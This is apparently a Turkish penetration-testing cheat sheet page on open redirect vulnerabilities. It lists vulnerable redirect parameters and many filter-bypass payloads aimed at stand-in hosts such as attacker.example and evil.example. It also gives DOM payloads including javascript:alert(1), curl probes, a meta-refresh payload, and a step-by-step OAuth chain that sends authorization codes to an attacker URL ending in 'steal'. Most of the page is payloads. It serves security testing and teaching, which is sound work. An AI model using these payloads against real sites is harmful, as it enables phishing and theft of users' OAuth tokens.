Open Redirect
OWASP A01 difficulty: kolay
Open Redirect, uygulamanın kullanıcı kontrollü bir parametreye göre harici bir adrese yönlendirme yapmasıdır. Tek başına düşük riskli görünse de; kimlik avı, OAuth redirect_uri token hırsızlığı ve filtre atlatma zincirlerinde kritik hale gelir.
Tipik noktalar
Section titled “Tipik noktalar”/login?next=/dashboard/redirect?url=https://site.com/logout?returnTo=...?dest= ?rurl= ?continue= ?redirect= ?redirect_uri= ?returnUrl= ?goto= ?return=DOM: location = params.redirect / window.location.href = … / location.replace(…).
Filtre atlatma
Section titled “Filtre atlatma”https://attacker.example/\/attacker.example\/\/attacker.examplehttps:attacker.examplehttps://victim.com@attacker.examplehttps://victim.com%40attacker.examplehttps://victim.com.attacker.examplehttps://attacker.example#victim.comhttps://attacker.example?victim.comhttps://attacker.example\.victim.comhttps://attacker.example%00.victim.comhttps://attacker.example%0d%0a%2f%2fattacker.examplehttps:/%5Cattacker.examplehttps://%61ttacker.example/\attacker.example# Allow-list path gibi/?next=//attacker.example/redirect?url=/\\attacker.examplehttps://victim.com%2f%2f@attacker.exampleJava URL / tarayıcı / reverse proxy farklı parse eder — her katmanı dene.
Etkili zincirler
Section titled “Etkili zincirler”-
OAuth / OIDC token sızdırma — redirect_uri gevşek veya uygulama kendi open redirect’ini kaydetmişse:
/authorize?...&redirect_uri=https://victim.com/redirect?url=https://attacker/ -
SSRF / WAF allow-list atlatma — “sadece *.victim.com” kuralı, victim open redirect ile attacker’a sıçrar.
-
Kimlik avı — URL çubuğunda gerçek alan adı; login formu attacker’da.
-
CRLF — değer Location ’a ham yazılıyorsa CRLF .
-
XSS — javascript: veya data: (tarayıcıya göre kısıtlı); DOM sink.
DOM open redirect
Section titled “DOM open redirect”location.href = new URLSearchParams(location.search).get('next');?next=javascript:alert(1)?next=//attacker.example?next=https://attacker.example?next=\\attacker.exampleDoğrulama
Section titled “Doğrulama”curl -sI 'https://hedef/login?next=https://evil.example' | grep -i locationcurl -sI 'https://hedef/logout?returnTo=//evil.example' | grep -i location<!-- Meta refresh --><meta http-equiv="refresh" content="0;url=https://evil.example">OAuth zinciri detay
Section titled “OAuth zinciri detay”1) Client'ın kayıtlı redirect_uri: https://app.com/cb2) app.com'da open redirect: /out?u=3) Authorize: redirect_uri=https://app.com/out?u=https://attacker/steal4) IdP code'u attacker'a 302 ederChecklist
Section titled “Checklist”□ next/return/redirect/url parametreleri□ // ve @ ve %00 atlatmaları□ DOM location sink□ OAuth redirect_uri birleşimi□ SSRF allow-list bypass olarak kullanım□ Location CRLFSaldırı zinciri
Section titled “Saldırı zinciri”/login?next= → //evil doğrula → OAuth redirect_uri ile birleştir → auth code çal